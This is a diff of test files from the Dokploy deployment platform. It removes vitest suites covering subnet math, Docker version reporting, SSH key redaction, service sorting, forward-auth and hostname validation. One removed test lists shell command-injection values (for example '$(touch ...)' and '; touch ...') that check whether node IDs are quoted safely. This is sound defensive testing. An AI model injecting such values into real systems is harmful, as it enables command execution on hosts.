 		const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
 

apps/dokploy/__test__/server/server-health-subnet.test.ts

@@ -1,24 +0,0 @@
-import { getSubnetCapacity } from "@dokploy/server/services/server-health";
-import { describe, expect, test } from "vitest";
-
-describe("getSubnetCapacity", () => {
-	test("returns null for missing/invalid input", () => {
-		expect(getSubnetCapacity(undefined)).toBeNull();
-		expect(getSubnetCapacity("")).toBeNull();
-		expect(getSubnetCapacity("10.0.0.0")).toBeNull();
-		expect(getSubnetCapacity("not-a-subnet")).toBeNull();
-		expect(getSubnetCapacity("10.0.0.0/33")).toBeNull();
-		expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull();
-	});
-
-	test("excludes network and broadcast addresses", () => {
-		expect(getSubnetCapacity("10.0.1.0/24")).toBe(254);
-		expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534);
-		expect(getSubnetCapacity("10.99.99.0/30")).toBe(2);
-	});
-
-	test("returns 0 for subnets too small to hold a host", () => {
-		expect(getSubnetCapacity("10.0.0.0/31")).toBe(0);
-		expect(getSubnetCapacity("10.0.0.0/32")).toBe(0);
-	});
-});

apps/dokploy/__test__/server/server-setup.test.ts

@@ -1,98 +0,0 @@
-import { execFileSync, execSync } from "node:child_process";
-import { chmodSync, mkdtempSync, writeFileSync } from "node:fs";
-import { tmpdir } from "node:os";
-import path from "node:path";
-import { defaultCommand, reportDockerVersion } from "@dokploy/server";
-import { describe, expect, it } from "vitest";
-
-const resolveBin = (name: string) =>
-	execSync(`command -v ${name}`, { encoding: "utf8" }).trim();
-
-/**
- * Build a sandbox PATH so `command -v docker` only sees our fake docker
- * binary (or nothing), regardless of what the host has installed.
- */
-const makeSandbox = (dockerShim?: string) => {
-	const dir = mkdtempSync(path.join(tmpdir(), "dokploy-server-setup-"));
-	for (const tool of ["awk", "tr"]) {
-		const shim = path.join(dir, tool);
-		writeFileSync(shim, `#!/bin/sh\nexec ${resolveBin(tool)} "$@"\n`);
-		chmodSync(shim, 0o755);
-	}
-	if (dockerShim) {
-		const shim = path.join(dir, "docker");
-		writeFileSync(shim, dockerShim);
-		chmodSync(shim, 0o755);
-	}
-	return dir;
-};
-
-const runReport = (sandboxPath: string) => {
-	const script = [
-		"DOCKER_VERSION=28.5.0",
-		reportDockerVersion(),
-		'echo "$DOCKER_VERSION_REPORT"',
-	].join("\n");
-	return execFileSync(resolveBin("bash"), ["-c", script], {
-		encoding: "utf8",
-		env: { ...process.env, PATH: sandboxPath },
-	})
-		.trim()
-		.split("\n")
-		.pop();
-};
-
-describe("reportDockerVersion", () => {
-	it("reports the engine version when docker and its daemon are available", () => {
-		const sandbox = makeSandbox(
-			[
-				"#!/bin/sh",
-				'if [ "$1" = "--version" ]; then',
-				'	echo "Docker version 25.0.0, build aaaaaaa"',
-				"	exit 0",
-				"fi",
-				'if [ "$1" = "version" ]; then',
-				'	echo "29.4.3"',
-				"	exit 0",
-				"fi",
-				"exit 1",
-			].join("\n"),
-		);
-		expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
-	});
-
-	it("falls back to the client version when the daemon is unreachable", () => {
-		const sandbox = makeSandbox(
-			[
-				"#!/bin/sh",
-				'if [ "$1" = "--version" ]; then',
-				'	echo "Docker version 29.4.3, build 055a478"',
-				"	exit 0",
-				"fi",
-				'echo "Cannot connect to the Docker daemon" >&2',
-				"exit 1",
-			].join("\n"),
-		);
-		expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
-	});
-
-	it("reports the pinned version to be installed when docker is missing", () => {
-		expect(runReport(makeSandbox())).toBe("28.5.0 (will be installed)");
-	});
-});
-
-describe("defaultCommand", () => {
-	it.each([false, true])(
-		"prints the detected Docker version in the setup banner (isBuildServer=%s)",
-		(isBuildServer) => {
-			const script = defaultCommand(isBuildServer);
-			expect(script).toContain(reportDockerVersion());
-			expect(script).toContain(
-				'echo "| Docker            | $DOCKER_VERSION_REPORT"',
-			);
-			expect(script).not.toContain(
-				'echo "| Docker            | $DOCKER_VERSION"',
-			);
-		},
-	);
-});

apps/dokploy/__test__/server/server-sshkey-redaction.test.ts

@@ -1,44 +0,0 @@
-import { redactServerSshKey } from "@dokploy/server/services/server";
-import { describe, expect, it } from "vitest";
-
-describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
-	it("blanks the private key while keeping the rest of the ssh key intact", () => {
-		const server = {
-			serverId: "srv-1",
-			name: "prod",
-			sshKey: {
-				sshKeyId: "key-1",
-				publicKey: "ssh-ed25519 AAAA...",
-				privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
-			},
-		};
-
-		const redacted = redactServerSshKey(server);
-
-		expect(redacted.sshKey.privateKey).toBe("");
-		// Non-secret fields and the surrounding record must survive untouched.
-		expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
-		expect(redacted.serverId).toBe("srv-1");
-		expect(redacted.name).toBe("prod");
-	});
-
-	it("does not mutate the original record", () => {
-		const server = {
-			serverId: "srv-1",
-			sshKey: { privateKey: "top-secret" },
-		};
-		redactServerSshKey(server);
-		expect(server.sshKey.privateKey).toBe("top-secret");
-	});
-
-	it("is a no-op when the server has no ssh key", () => {
-		const server = { serverId: "srv-2", sshKey: null };
-		expect(redactServerSshKey(server)).toEqual(server);
-	});
-
-	it("handles a record without a loaded sshKey relation", () => {
-		// e.g. server.update returns the plain row where sshKey is not populated.
-		const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
-		expect(redactServerSshKey(server)).toEqual(server);
-	});
-});

apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts

@@ -1,41 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// Mirrors how getNodeInfo builds its command in services/docker.ts:
-//   `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
-// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
-// whether the nodeId payload can break out of the command, not real docker.
-const buildCommand = (nodeId: string) =>
-	`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
-
-const INJECTION_NODE_IDS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"; touch %MARK%",
-	"abc | touch %MARK%",
-	"&& touch %MARK%",
-];
-
-describe("getNodeInfo nodeId command injection", () => {
-	it("does not execute injected commands from the nodeId", () => {
-		const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
-		for (const template of INJECTION_NODE_IDS) {
-			if (existsSync(mark)) rmSync(mark);
-			const nodeId = template.replace("%MARK%", mark);
-			try {
-				execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
-			} catch {
-				// A non-zero exit from the no-op is fine; we only care about the marker.
-			}
-			expect(existsSync(mark)).toBe(false);
-		}
-		if (existsSync(mark)) rmSync(mark);
-	});
-
-	it("keeps a legitimate node id intact as a single literal token", () => {
-		const nodeId = "abc123def456";
-		expect(quote([nodeId])).toBe(nodeId);
-	});
-});

apps/dokploy/__test__/services/overview-backups-icon.test.ts

@@ -1,113 +0,0 @@
-import {
-	getBackupOverviewIcon,
-	getServiceOverviewIcon,
-} from "@dokploy/server/services/overview";
-import { describe, expect, test } from "vitest";
-
-describe("getServiceOverviewIcon", () => {
-	test("returns a db icon for every known DB engine type", () => {
-		for (const type of [
-			"postgres",
-			"mariadb",
-			"mysql",
-			"mongo",
-			"redis",
-			"libsql",
-		] as const) {
-			expect(getServiceOverviewIcon({ type, icon: null })).toEqual({
-				kind: "db",
-				engine: type,
-			});
-		}
-	});
-
-	test("returns a custom icon for application/compose with a service icon set", () => {
-		expect(
-			getServiceOverviewIcon({
-				type: "application",
-				icon: "data:image/png;base64,x",
-			}),
-		).toEqual({ kind: "custom", url: "data:image/png;base64,x" });
-		expect(
-			getServiceOverviewIcon({
-				type: "compose",
-				icon: "data:image/png;base64,y",
-			}),
-		).toEqual({ kind: "custom", url: "data:image/png;base64,y" });
-	});
-
-	test("falls back to a generic icon for application/compose without a service icon", () => {
-		expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual(
-			{
-				kind: "generic",
-				type: "application",
-			},
-		);
-		expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({
-			kind: "generic",
-			type: "compose",
-		});
-	});
-});
-
-describe("getBackupOverviewIcon", () => {
-	test("returns a db icon for a database backup with a known databaseType", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: "postgres",
-				serviceType: null,
-				serviceOwnerType: "postgres",
-			}),
-		).toEqual({ kind: "db", engine: "postgres" });
-	});
-
-	test("returns a webServer icon for a web-server database backup", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: "web-server",
-				serviceType: null,
-				serviceOwnerType: "web-server",
-			}),
-		).toEqual({ kind: "webServer" });
-	});
-
-	test("returns a db icon for a compose-type backup dumping a known DB engine", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: "mysql",
-				serviceType: null,
-				serviceOwnerType: "compose",
-			}),
-		).toEqual({ kind: "db", engine: "mysql" });
-	});
-
-	test("returns a db icon for a volume backup of a known DB engine service", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: null,
-				serviceType: "mongo",
-				serviceOwnerType: "mongo",
-			}),
-		).toEqual({ kind: "db", engine: "mongo" });
-	});
-
-	test("returns a generic application icon for a volume backup of an application", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: null,
-				serviceType: "application",
-				serviceOwnerType: "application",
-			}),
-		).toEqual({ kind: "generic", type: "application" });
-	});
-
-	test("returns a generic compose icon for a volume backup of a compose service", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: null,
-				serviceType: "compose",
-				serviceOwnerType: "compose",
-			}),
-		).toEqual({ kind: "generic", type: "compose" });
-	});
-});

apps/dokploy/__test__/services/overview-domains-sort.test.ts

@@ -1,79 +0,0 @@
-import type { OverviewDomain } from "@dokploy/server/services/overview";
-import { sortOverviewDomains } from "@dokploy/server/services/overview";
-import { describe, expect, test } from "vitest";
-
-const makeDomain = (overrides: Partial<OverviewDomain>): OverviewDomain => ({
-	domainId: "id",
-	host: "example.com",
-	path: "/",
-	port: 3000,
-	customEntrypoint: null,
-	https: true,
-	certificateType: "letsencrypt",
-	createdAt: "2024-01-01T00:00:00.000Z",
-	enabled: true,
-	domainType: "application",
-	serviceOwnerId: "app",
-	serviceOwnerType: "application",
-	serviceName: "App",
-	projectId: "project",
-	projectName: "Project",
-	environmentId: "environment",
-	environmentName: "Environment",
-	...overrides,
-});
-
-describe("sortOverviewDomains", () => {
-	test("sorts by createdAt asc/desc", () => {
-		const domains = [
-			makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
-			makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
-			makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
-		];
-
-		expect(
-			sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId),
-		).toEqual(["old", "mid", "new"]);
-		expect(
-			sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId),
-		).toEqual(["new", "mid", "old"]);
-	});
-
-	test("sorts by port asc/desc, with portless domains always last", () => {
-		const domains = [
-			makeDomain({ domainId: "none", port: null }),
-			makeDomain({ domainId: "low", port: 80 }),
-			makeDomain({ domainId: "high", port: 8080 }),
-		];
-
-		expect(
-			sortOverviewDomains(domains, "port-asc").map((d) => d.domainId),
-		).toEqual(["low", "high", "none"]);
-		expect(
-			sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
-		).toEqual(["high", "low", "none"]);
-	});
-
-	test("port sort with all domains portless is a no-op", () => {
-		const domains = [
-			makeDomain({ domainId: "a", port: null }),
-			makeDomain({ domainId: "b", port: null }),
-		];
-
-		expect(
-			sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
-		).toEqual(["a", "b"]);
-	});
-
-	test("does not mutate the input array", () => {
-		const domains = [
-			makeDomain({ domainId: "b", port: 8080 }),
-			makeDomain({ domainId: "a", port: 80 }),
-		];
-		const original = [...domains];
-
-		sortOverviewDomains(domains, "port-asc");
-
-		expect(domains).toEqual(original);
-	});
-});

apps/dokploy/__test__/services/overview-services-sort.test.ts

@@ -1,106 +0,0 @@
-import type { OverviewService } from "@dokploy/server/services/overview";
-import { sortOverviewServices } from "@dokploy/server/services/overview";
-import { describe, expect, test } from "vitest";
-
-const makeService = (overrides: Partial<OverviewService>): OverviewService => ({
-	id: "id",
-	type: "application",
-	name: "name",
-	appName: "app-name",
-	status: "running",
-	createdAt: "2024-01-01T00:00:00.000Z",
-	serverId: null,
-	serverName: null,
-	icon: null,
-	projectId: "project",
-	projectName: "Project",
-	environmentId: "environment",
-	environmentName: "Environment",
-	lastDeployAt: null,
-	...overrides,
-});
-
-describe("sortOverviewServices", () => {
-	test("sorts by name asc/desc", () => {
-		const services = [
-			makeService({ id: "b", name: "Bravo" }),
-			makeService({ id: "a", name: "Alpha" }),
-			makeService({ id: "c", name: "Charlie" }),
-		];
-
-		expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual(
-			["a", "b", "c"],
-		);
-		expect(
-			sortOverviewServices(services, "name-desc").map((s) => s.id),
-		).toEqual(["c", "b", "a"]);
-	});
-
-	test("sorts by type asc/desc", () => {
-		const services = [
-			makeService({ id: "app", type: "application" }),
-			makeService({ id: "pg", type: "postgres" }),
-			makeService({ id: "comp", type: "compose" }),
-		];
-
-		expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual(
-			["app", "comp", "pg"],
-		);
-		expect(
-			sortOverviewServices(services, "type-desc").map((s) => s.id),
-		).toEqual(["pg", "comp", "app"]);
-	});
-
-	test("sorts by createdAt asc/desc", () => {
-		const services = [
-			makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
-			makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
-			makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
-		];
-
-		expect(
-			sortOverviewServices(services, "createdAt-asc").map((s) => s.id),
-		).toEqual(["old", "mid", "new"]);
-		expect(
-			sortOverviewServices(services, "createdAt-desc").map((s) => s.id),
-		).toEqual(["new", "mid", "old"]);
-	});
-
-	test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => {
-		const services = [
-			makeService({ id: "never", lastDeployAt: null }),
-			makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }),
-			makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }),
-		];
-
-		expect(
-			sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
-		).toEqual(["new", "old", "never"]);
-		expect(
-			sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id),
-		).toEqual(["old", "new", "never"]);
-	});
-
-	test("lastDeploy sort with all services never deployed is a no-op", () => {
-		const services = [
-			makeService({ id: "a", lastDeployAt: null }),
-			makeService({ id: "b", lastDeployAt: null }),
-		];
-
-		expect(
-			sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
-		).toEqual(["a", "b"]);
-	});
-
-	test("does not mutate the input array", () => {
-		const services = [
-			makeService({ id: "b", name: "Bravo" }),
-			makeService({ id: "a", name: "Alpha" }),
-		];
-		const original = [...services];
-
-		sortOverviewServices(services, "name-asc");
-
-		expect(services).toEqual(original);
-	});
-});

apps/dokploy/__test__/templates/config.template.test.ts

@@ -494,49 +494,4 @@ describe("processTemplate", () => {
 			expect(result.mounts).toHaveLength(1);
 		});
 	});
-
-	describe("isolated deployment config", () => {
-		it("should default to isolated=true when not specified", () => {
-			const template: CompleteTemplate = {
-				metadata: {} as any,
-				variables: {},
-				config: {
-					domains: [],
-					env: {},
-				},
-			};
-
-			expect(template.config.isolated).toBeUndefined();
-			// undefined !== false => isolatedDeployment = true
-			expect(template.config.isolated !== false).toBe(true);
-		});
-
-		it("should be isolated when isolated=true is explicitly set", () => {
-			const template: CompleteTemplate = {
-				metadata: {} as any,
-				variables: {},
-				config: {
-					isolated: true,
-					domains: [],
-					env: {},
-				},
-			};
-
-			expect(template.config.isolated !== false).toBe(true);
-		});
-
-		it("should disable isolated deployment when isolated=false", () => {
-			const template: CompleteTemplate = {
-				metadata: {} as any,
-				variables: {},
-				config: {
-					isolated: false,
-					domains: [],
-					env: {},
-				},
-			};
-
-			expect(template.config.isolated !== false).toBe(false);
-		});
-	});
 });

apps/dokploy/__test__/templates/helpers.template.test.ts

@@ -30,7 +30,9 @@ describe("helpers functions", () => {
 			const domain = processValue("${domain}", {}, mockSchema);
 			expect(domain.startsWith(`${mockSchema.projectName}-`)).toBeTruthy();
 			expect(
-				domain.endsWith(`${mockSchema.serverIp.replaceAll(".", "-")}.sslip.io`),
+				domain.endsWith(
+					`${mockSchema.serverIp.replaceAll(".", "-")}.traefik.me`,
+				),
 			).toBeTruthy();
 		});
 	});

apps/dokploy/__test__/traefik/forward-auth.test.ts

@@ -1,234 +0,0 @@
-import type { ApplicationNested, Domain } from "@dokploy/server";
-import {
-	buildForwardAuthEnv,
-	createRouterConfig,
-	deriveBaseDomain,
-	deriveCookieSecret,
-	forwardAuthCallbackUrl,
-	forwardAuthMiddlewareName,
-} from "@dokploy/server";
-import { beforeAll, describe, expect, test } from "vitest";
-
-const app = {
-	appName: "my-app",
-	redirects: [],
-	security: [],
-} as unknown as ApplicationNested;
-
-const baseDomain: Domain = {
-	applicationId: "app-1",
-	certificateType: "none",
-	createdAt: "",
-	domainId: "domain-1",
-	host: "app.example.com",
-	https: false,
-	path: null,
-	port: 3000,
-	customEntrypoint: null,
-	serviceName: "",
-	composeId: "",
-	customCertResolver: null,
-	domainType: "application",
-	uniqueConfigKey: 7,
-	previewDeploymentId: "",
-	internalPath: "/",
-	stripPath: false,
-	middlewares: null,
-	forwardAuthEnabled: false,
-	enabled: true,
-};
-
-describe("forwardAuthMiddlewareName", () => {
-	test("is stable and unique per app + uniqueConfigKey", () => {
-		expect(forwardAuthMiddlewareName("my-app", 7)).toBe(
-			"forward-auth-my-app-7",
-		);
-		expect(forwardAuthMiddlewareName("my-app", 7)).toBe(
-			forwardAuthMiddlewareName("my-app", 7),
-		);
-		expect(forwardAuthMiddlewareName("my-app", 7)).not.toBe(
-			forwardAuthMiddlewareName("my-app", 8),
-		);
-	});
-});
-
-describe("createRouterConfig forward-auth wiring", () => {
-	test("does NOT add forward-auth middleware when no provider is linked", async () => {
-		const config = await createRouterConfig(app, baseDomain, "websecure");
-		expect(config.middlewares).not.toContain(
-			forwardAuthMiddlewareName("my-app", 7),
-		);
-	});
-
-	test("adds forward-auth middleware when a provider is linked", async () => {
-		const domain: Domain = {
-			...baseDomain,
-			forwardAuthEnabled: true,
-		};
-		const config = await createRouterConfig(app, domain, "websecure");
-		expect(config.middlewares).toContain(
-			forwardAuthMiddlewareName("my-app", 7),
-		);
-	});
-
-	test("forward-auth runs before custom domain middlewares", async () => {
-		const domain: Domain = {
-			...baseDomain,
-			forwardAuthEnabled: true,
-			middlewares: ["rate-limit@file"],
-		};
-		const config = await createRouterConfig(app, domain, "websecure");
-		const forwardAuthIdx = config.middlewares?.indexOf(
-			forwardAuthMiddlewareName("my-app", 7),
-		);
-		const customIdx = config.middlewares?.indexOf("rate-limit@file");
-		expect(forwardAuthIdx).toBeGreaterThanOrEqual(0);
-		expect(customIdx).toBeGreaterThan(forwardAuthIdx as number);
-	});
-
-	test("redirect-only web router does not get the forward-auth middleware", async () => {
-		const domain: Domain = {
-			...baseDomain,
-			https: true,
-			forwardAuthEnabled: true,
-		};
-		const config = await createRouterConfig(app, domain, "web");
-		expect(config.middlewares).toContain("redirect-to-https");
-		expect(config.middlewares).not.toContain(
-			forwardAuthMiddlewareName("my-app", 7),
-		);
-	});
-});
-
-describe("buildForwardAuthEnv", () => {
-	const baseOptions = {
-		oidc: {
-			clientId: "client-123",
-			clientSecret: "secret-xyz",
-			issuer: "https://idp.example.com",
-		},
-		cookieSecret: "cookie-secret-value",
-		authDomain: "auth.acme.com",
-		baseDomain: ".acme.com",
-		authDomainHttps: true,
-	};
-
-	test("emits the required oauth2-proxy OIDC env vars", () => {
-		const env = buildForwardAuthEnv(baseOptions);
-		expect(env).toContain("OAUTH2_PROXY_PROVIDER=oidc");
-		expect(env).toContain(
-			"OAUTH2_PROXY_OIDC_ISSUER_URL=https://idp.example.com",
-		);
-		expect(env).toContain("OAUTH2_PROXY_CLIENT_ID=client-123");
-		expect(env).toContain("OAUTH2_PROXY_CLIENT_SECRET=secret-xyz");
-		expect(env).toContain("OAUTH2_PROXY_COOKIE_SECRET=cookie-secret-value");
-		expect(env).toContain("OAUTH2_PROXY_REVERSE_PROXY=true");
-		expect(env).toContain("OAUTH2_PROXY_HTTP_ADDRESS=0.0.0.0:4180");
-	});
-
-	test("uses the central auth domain for the single fixed callback", () => {
-		const env = buildForwardAuthEnv(baseOptions);
-		expect(env).toContain(
-			"OAUTH2_PROXY_REDIRECT_URL=https://auth.acme.com/oauth2/callback",
-		);
-	});
-
-	test("shares cookie + whitelist on the base domain (no per-app redeploy)", () => {
-		const env = buildForwardAuthEnv(baseOptions);
-		expect(env).toContain("OAUTH2_PROXY_COOKIE_DOMAINS=.acme.com");
-		expect(env).toContain("OAUTH2_PROXY_WHITELIST_DOMAINS=.acme.com");
-	});
-
-	test("matches cookie Secure flag and callback scheme to https setting", () => {
-		const https = buildForwardAuthEnv(baseOptions);
-		expect(https).toContain("OAUTH2_PROXY_COOKIE_SECURE=true");
-
-		const http = buildForwardAuthEnv({
-			...baseOptions,
-			authDomainHttps: false,
-		});
-		expect(http).toContain("OAUTH2_PROXY_COOKIE_SECURE=false");
-		expect(http).toContain(
-			"OAUTH2_PROXY_REDIRECT_URL=http://auth.acme.com/oauth2/callback",
-		);
-	});
-
-	test("allows unverified emails so OIDC providers don't 500 the callback", () => {
-		const env = buildForwardAuthEnv(baseOptions);
-		expect(env).toContain(
-			"OAUTH2_PROXY_INSECURE_OIDC_ALLOW_UNVERIFIED_EMAIL=true",
-		);
-	});
-
-	test("defaults to any authenticated user and standard scopes", () => {
-		const env = buildForwardAuthEnv(baseOptions);
-		expect(env).toContain("OAUTH2_PROXY_EMAIL_DOMAINS=*");
-		expect(env).toContain("OAUTH2_PROXY_SCOPE=openid email profile");
-	});
-
-	test("honors custom scopes and email domains", () => {
-		const env = buildForwardAuthEnv({
-			...baseOptions,
-			oidc: { ...baseOptions.oidc, scopes: ["openid", "groups"] },
-			emailDomains: ["acme.com", "corp.com"],
-		});
-		expect(env).toContain("OAUTH2_PROXY_SCOPE=openid groups");
-		expect(env).toContain("OAUTH2_PROXY_EMAIL_DOMAINS=acme.com,corp.com");
-	});
-
-	test("sets skip-discovery flag only when requested", () => {
-		const withoutSkip = buildForwardAuthEnv(baseOptions);
-		expect(withoutSkip).not.toContain("OAUTH2_PROXY_SKIP_OIDC_DISCOVERY=true");
-
-		const withSkip = buildForwardAuthEnv({
-			...baseOptions,
-			oidc: { ...baseOptions.oidc, skipDiscovery: true },
-		});
-		expect(withSkip).toContain("OAUTH2_PROXY_SKIP_OIDC_DISCOVERY=true");
-	});
-});
-
-describe("deriveBaseDomain", () => {
-	test("strips the auth subdomain to the shared base", () => {
-		expect(deriveBaseDomain("auth.acme.com")).toBe(".acme.com");
-		expect(deriveBaseDomain("sso.apps.acme.com")).toBe(".apps.acme.com");
-	});
-
-	test("keeps a two-label apex as the base", () => {
-		expect(deriveBaseDomain("acme.com")).toBe(".acme.com");
-	});
-});
-
-describe("forwardAuthCallbackUrl", () => {
-	test("builds the single IdP callback per scheme", () => {
-		expect(forwardAuthCallbackUrl("auth.acme.com", true)).toBe(
-			"https://auth.acme.com/oauth2/callback",
-		);
-		expect(forwardAuthCallbackUrl("auth.acme.com", false)).toBe(
-			"http://auth.acme.com/oauth2/callback",
-		);
-	});
-});
-
-describe("deriveCookieSecret", () => {
-	beforeAll(() => {
-		process.env.BETTER_AUTH_SECRET = "test-root-secret";
-	});
-
-	test("is deterministic for the same salt (survives service updates)", () => {
-		expect(deriveCookieSecret(".acme.com")).toBe(
-			deriveCookieSecret(".acme.com"),
-		);
-	});
-
-	test("differs per salt", () => {
-		expect(deriveCookieSecret(".acme.com")).not.toBe(
-			deriveCookieSecret(".other.com"),
-		);
-	});
-
-	test("produces a 16-byte hex secret (oauth2-proxy requirement)", () => {
-		const secret = deriveCookieSecret(".acme.com");
-		expect(Buffer.from(secret, "hex")).toHaveLength(16);
-	});
-});

apps/dokploy/__test__/traefik/server/update-server-config.test.ts

@@ -25,7 +25,6 @@ const baseSettings: WebServerSettings = {
 	letsEncryptEmail: null,
 	sshPrivateKey: null,
 	enableDockerCleanup: false,
-	buildsConcurrency: 1,
 	logCleanupCron: null,
 	metricsConfig: {
 		containers: {
@@ -66,8 +65,6 @@ const baseSettings: WebServerSettings = {
 	cleanupCacheApplications: false,
 	cleanupCacheOnCompose: false,
 	cleanupCacheOnPreviews: false,
-	remoteServersOnly: false,
-	enforceSSO: false,
 	createdAt: null,
 	updatedAt: new Date(),
 };

apps/dokploy/__test__/traefik/traefik.test.ts

@@ -7,8 +7,6 @@ const baseApp: ApplicationNested = {
 	rollbackActive: false,
 	applicationId: "",
 	previewLabels: [],
-	networkIds: [],
-	detachDokployNetwork: false,
 	createEnvFile: true,
 	bitbucketRepositorySlug: "",
 	herokuVersion: "",
@@ -150,8 +148,6 @@ const baseDomain: Domain = {
 	internalPath: "/",
 	stripPath: false,
 	middlewares: null,
-	forwardAuthEnabled: false,
-	enabled: true,
 };
 
 const baseRedirect: Redirect = {

apps/dokploy/__test__/utils/hostname-validation.test.ts

@@ -1,48 +0,0 @@
-import { VALID_HOSTNAME_REGEX } from "@dokploy/server";
-import { describe, expect, it } from "vitest";
-
-describe("VALID_HOSTNAME_REGEX", () => {
-	it.each([
-		"example.com",
-		"sub.example.com",
-		"bbn-client.example.com",
-		"a.b.c.example.co",
-		"xn--80ak6aa92e.com",
-		"123.example.com",
-		"example",
-		"dokploy-server",
-		"localhost",
-	])("accepts valid hostname %s", (host) => {
-		expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
-	});
-
-	it.each([
-		"bbn_client.example.com",
-		"-example.com",
-		"example-.com",
-		"exa mple.com",
-		"example..com",
-		"",
-		`a${"a".repeat(63)}.com`,
-	])("rejects invalid hostname %s", (host) => {
-		expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
-	});
-
-	// IDNs (Cyrillic, German umlauts, etc.) must be submitted in their
-	// ACME/punycode form ("xn--...") — that's what Let's Encrypt issues
-	// certificates for, so raw Unicode labels are rejected here.
-	it.each(["пример.рф", "bücher.de", "日本語.jp"])(
-		"rejects raw unicode IDN %s",
-		(host) => {
-			expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
-		},
-	);
-
-	it.each([
-		"xn--e1afmkfd.xn--p1ai", // punycode for пример.рф
-		"xn--bcher-kva.de", // punycode for bücher.de
-		"xn--wgv71a119e.jp", // punycode for 日本語.jp
-	])("accepts punycode-encoded IDN %s", (host) => {
-		expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
-	});
-});

apps/dokploy/__test__/utils/log-type.test.ts

@@ -1,108 +0,0 @@
-import { describe, expect, test } from "vitest";
-import { getLogType } from "@/components/dashboard/docker/logs/utils";
-
-describe("getLogType", () => {
-	describe("explicit level declared by structured loggers", () => {
-		test("JSON string levels (pino, winston, zap)", () => {
-			expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
-			expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
-			expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
-			expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
-			expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
-		});
-
-		test("JSON numeric levels (pino, bunyan)", () => {
-			expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
-			expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
-			expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
-			expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
-		});
-
-		test("syslog/GELF numeric levels", () => {
-			expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
-			expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
-			expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
-			expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
-		});
-
-		test("GCP-style severity and ECS log.level", () => {
-			expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
